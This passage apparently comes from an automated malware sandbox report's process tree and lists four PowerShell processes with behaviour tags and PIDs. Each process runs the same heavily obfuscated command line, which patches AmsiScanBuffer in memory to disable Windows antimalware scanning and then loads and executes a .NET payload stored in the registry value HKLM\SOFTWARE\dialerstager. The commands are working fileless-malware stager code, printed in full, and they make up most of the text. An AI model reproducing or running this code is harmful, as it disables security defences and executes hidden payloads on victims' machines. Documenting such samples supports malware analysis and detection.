  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:RJNhMpbElJlb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UARFNKJSZYoPPq,[Parameter(Position=1)][Type]$yumacOxkjp)$tcACFEpLjkU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+'d'+[Char](68)+'el'+'e'+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+'ss'+','+'P'+[Char](117)+''+'b'+'li'+[Char](99)+','+[Char](83)+''+'e'+'a'+'l'+''+'e'+''+'d'+',An'+[Char](115)+''+'i'+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+'l'+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tcACFEpLjkU.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$UARFNKJSZYoPPq).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');$tcACFEpLjkU.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+'k'+'e',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+'l',$yumacOxkjp,$UARFNKJSZYoPPq).SetImplementationFlags(''+'R'+'u'+[Char](110)+'ti'+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+'na'+'g'+'e'+[Char](100)+'');Write-Output $tcACFEpLjkU.CreateType();}$ORsUOEINPqbXk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'ste'+'m'+'.d'+'l'+''+'l'+'')}).GetType('M'+[Char](105)+''+'c'+'r'+'o'+'s'+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+'.'+''+'U'+''+'n'+'s'+'a'+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'ti'+'v'+''+[Char](101)+'Met'+[Char](104)+''+[Char](111)+'d'+'s'+'');$qqngHFEnWrlvVV=$ORsUOEINPqbXk.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+'ic'+','+'S'+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HxQfnqMdHcBTUzJldAI=RJNhMpbElJlb @([String])([IntPtr]);$EBtUPcbFBjkhmYWsbFClEr=RJNhMpbElJlb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$txUpQMAEVdv=$ORsUOEINPqbXk.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+'l'+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+'ll')));$CyaBYehupJoMos=$qqngHFEnWrlvVV.Invoke($Null,@([Object]$txUpQMAEVdv,[Object]('L'+[Char](111)+'a'+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+'A')));$UbYCkdfAPWiTJWVCh=$qqngHFEnWrlvVV.Invoke($Null,@([Object]$txUpQMAEVdv,[Object]('V'+'i'+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+'ot'+[Char](101)+''+[Char](99)+'t')));$HZpdNbE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CyaBYehupJoMos,$HxQfnqMdHcBTUzJldAI).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+'.'+'d'+'l'+''+[Char](108)+'');$CXfILZlaMIAnIjXPX=$qqngHFEnWrlvVV.Invoke($Null,@([Object]$HZpdNbE,[Object](''+[Char](65)+'m'+'s'+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+'u'+''+[Char](102)+'f'+[Char](101)+'r')));$qDELpIeRsh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UbYCkdfAPWiTJWVCh,$EBtUPcbFBjkhmYWsbFClEr).Invoke($CXfILZlaMIAnIjXPX,[uint32]8,4,[ref]$qDELpIeRsh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CXfILZlaMIAnIjXPX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UbYCkdfAPWiTJWVCh,$EBtUPcbFBjkhmYWsbFClEr).Invoke($CXfILZlaMIAnIjXPX,[uint32]8,0x20,[ref]$qDELpIeRsh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+'r'+'s'+''+[Char](116)+''+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:6388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:TJPIJJiSHBPb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bjZoeKHMQVVwDz,[Parameter(Position=1)][Type]$VQYirUnSPw)$IvDbuJUcSud=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+'C'+''+[Char](108)+'as'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'Sea'+'l'+'e'+[Char](100)+',A'+'n'+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$IvDbuJUcSud.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+'Hi'+'d'+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$bjZoeKHMQVVwDz).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$IvDbuJUcSud.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+'wS'+'l'+''+[Char](111)+'t,'+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$VQYirUnSPw,$bjZoeKHMQVVwDz).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+'i'+''+'m'+''+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $IvDbuJUcSud.CreateType();}$ccUhqcNIoYUxZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+'s'+'o'+''+[Char](102)+'t'+'.'+''+[Char](87)+'i'+'n'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$DkbxksBzZqiGaJ=$ccUhqcNIoYUxZ.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+'d'+'d'+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+''+'l'+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](116)+''+'a'+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fmpQiamoALYYLtFQkqc=TJPIJJiSHBPb @([String])([IntPtr]);$wkxwhEZiRLxdoXXpYDLnmy=TJPIJJiSHBPb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GYRNlYZDVhp=$ccUhqcNIoYUxZ.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$hvrhRfwzNoIJJQ=$DkbxksBzZqiGaJ.Invoke($Null,@([Object]$GYRNlYZDVhp,[Object](''+'L'+''+[Char](111)+''+'a'+''+'d'+'L'+'i'+''+'b'+''+[Char](114)+''+'a'+''+'r'+'yA')));$qtBmtMRXszYtlDhDW=$DkbxksBzZqiGaJ.Invoke($Null,@([Object]$GYRNlYZDVhp,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$ODkuHbf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hvrhRfwzNoIJJQ,$fmpQiamoALYYLtFQkqc).Invoke(''+[Char](97)+''+'m'+''+'s'+''+'i'+''+'.'+'dll');$xvNHLCUYtczTDdTzp=$DkbxksBzZqiGaJ.Invoke($Null,@([Object]$ODkuHbf,[Object]('A'+'m'+''+'s'+''+[Char](105)+'S'+'c'+'a'+'n'+''+[Char](66)+'u'+[Char](102)+'f'+'e'+'r')));$bvrvRfRmRr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qtBmtMRXszYtlDhDW,$wkxwhEZiRLxdoXXpYDLnmy).Invoke($xvNHLCUYtczTDdTzp,[uint32]8,4,[ref]$bvrvRfRmRr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xvNHLCUYtczTDdTzp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qtBmtMRXszYtlDhDW,$wkxwhEZiRLxdoXXpYDLnmy).Invoke($xvNHLCUYtczTDdTzp,[uint32]8,0x20,[ref]$bvrvRfRmRr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+'F'+'T'+[Char](87)+'A'+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+[Char](101)+'r'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:6980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:BOrLkkENqntu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eOVmOiCSNKPUTq,[Parameter(Position=1)][Type]$xQWBXWHscb)$QyFJCuIWpkF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+'d'+'ul'+'e'+'',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'eale'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'l'+'a'+''+[Char](115)+''+'s'+','+[Char](65)+'u'+'t'+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$QyFJCuIWpkF.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+'lN'+[Char](97)+'m'+'e'+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'Sig'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$eOVmOiCSNKPUTq).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$QyFJCuIWpkF.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$xQWBXWHscb,$eOVmOiCSNKPUTq).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $QyFJCuIWpkF.CreateType();}$JwvzHpDIePylt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'st'+'e'+'m'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+''+'f'+'t'+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2.U'+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+''+'N'+'a'+[Char](116)+'i'+'v'+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+'s'+'');$LesBePkqEOmjuc=$JwvzHpDIePylt.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](116)+''+'a'+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hrGORIMdkTOJCCKCiaK=BOrLkkENqntu @([String])([IntPtr]);$UWLOIBGWzTgvlWexucRfFV=BOrLkkENqntu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dnfRQluokmO=$JwvzHpDIePylt.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e'+[Char](72)+'a'+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'er'+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+''+'.'+'d'+[Char](108)+'l')));$DmICVIGyQZTtgQ=$LesBePkqEOmjuc.Invoke($Null,@([Object]$dnfRQluokmO,[Object](''+[Char](76)+'o'+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+'ar'+[Char](121)+''+'A'+'')));$pIzItMbjxGtYbzRRc=$LesBePkqEOmjuc.Invoke($Null,@([Object]$dnfRQluokmO,[Object](''+[Char](86)+'irt'+[Char](117)+'a'+'l'+''+[Char](80)+''+'r'+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$WXIUCLP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DmICVIGyQZTtgQ,$hrGORIMdkTOJCCKCiaK).Invoke('a'+[Char](109)+'s'+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$lcUFOUeQfmzeoiHWb=$LesBePkqEOmjuc.Invoke($Null,@([Object]$WXIUCLP,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$sAMhqdwtLs=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pIzItMbjxGtYbzRRc,$UWLOIBGWzTgvlWexucRfFV).Invoke($lcUFOUeQfmzeoiHWb,[uint32]8,4,[ref]$sAMhqdwtLs);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$lcUFOUeQfmzeoiHWb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pIzItMbjxGtYbzRRc,$UWLOIBGWzTgvlWexucRfFV).Invoke($lcUFOUeQfmzeoiHWb,[uint32]8,0x20,[ref]$sAMhqdwtLs);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+'s'+''+[Char](116)+''+'a'+''+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:AKLjlhMBloFz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UXSPZnZLLqNmHF,[Parameter(Position=1)][Type]$GAPgzGaSWz)$SMsawvMzjEJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Me'+[Char](109)+'o'+[Char](114)+''+'y'+'M'+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+'le'+'g'+''+[Char](97)+'t'+'e'+''+'T'+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'l'+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+'a'+'l'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+'i'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$SMsawvMzjEJ.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+'Na'+[Char](109)+'e'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$UXSPZnZLLqNmHF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'Ma'+[Char](110)+'ag'+[Char](101)+''+'d'+'');$SMsawvMzjEJ.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+','+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+[Char](97)+'l',$GAPgzGaSWz,$UXSPZnZLLqNmHF).SetImplementationFlags(''+[Char](82)+'unti'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $SMsawvMzjEJ.CreateType();}$LGcLsenDyEwXU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+'m.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+'o'+''+[Char](115)+'o'+'f'+''+[Char](116)+''+'.'+''+'W'+'i'+[Char](110)+'3'+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tyBOlFVAjpkcja=$LGcLsenDyEwXU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+'li'+[Char](99)+',S'+'t'+''+[Char](97)+''+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xwhDVrcwUMNwZKuPbKJ=AKLjlhMBloFz @([String])([IntPtr]);$cTxNKycStgaXIpzFbBrirV=AKLjlhMBloFz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oZVuIyEEbHr=$LGcLsenDyEwXU.GetMethod(''+[Char](71)+'et'+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+'e'+'H'+''+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+'el'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$rFsxossWtXDZyE=$tyBOlFVAjpkcja.Invoke($Null,@([Object]$oZVuIyEEbHr,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$EKPKenvHQcQMZdRbi=$tyBOlFVAjpkcja.Invoke($Null,@([Object]$oZVuIyEEbHr,[Object]('V'+'i'+''+'r'+'t'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$qLNxlah=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rFsxossWtXDZyE,$xwhDVrcwUMNwZKuPbKJ).Invoke('am'+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$EdsHNJOtAxJxhooBv=$tyBOlFVAjpkcja.Invoke($Null,@([Object]$qLNxlah,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+'f'+''+[Char](102)+'e'+'r'+'')));$kRflAStPZz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EKPKenvHQcQMZdRbi,$cTxNKycStgaXIpzFbBrirV).Invoke($EdsHNJOtAxJxhooBv,[uint32]8,4,[ref]$kRflAStPZz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EdsHNJOtAxJxhooBv,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EKPKenvHQcQMZdRbi,$cTxNKycStgaXIpzFbBrirV).Invoke($EdsHNJOtAxJxhooBv,[uint32]8,0x20,[ref]$kRflAStPZz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+'i'+'a'+'l'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
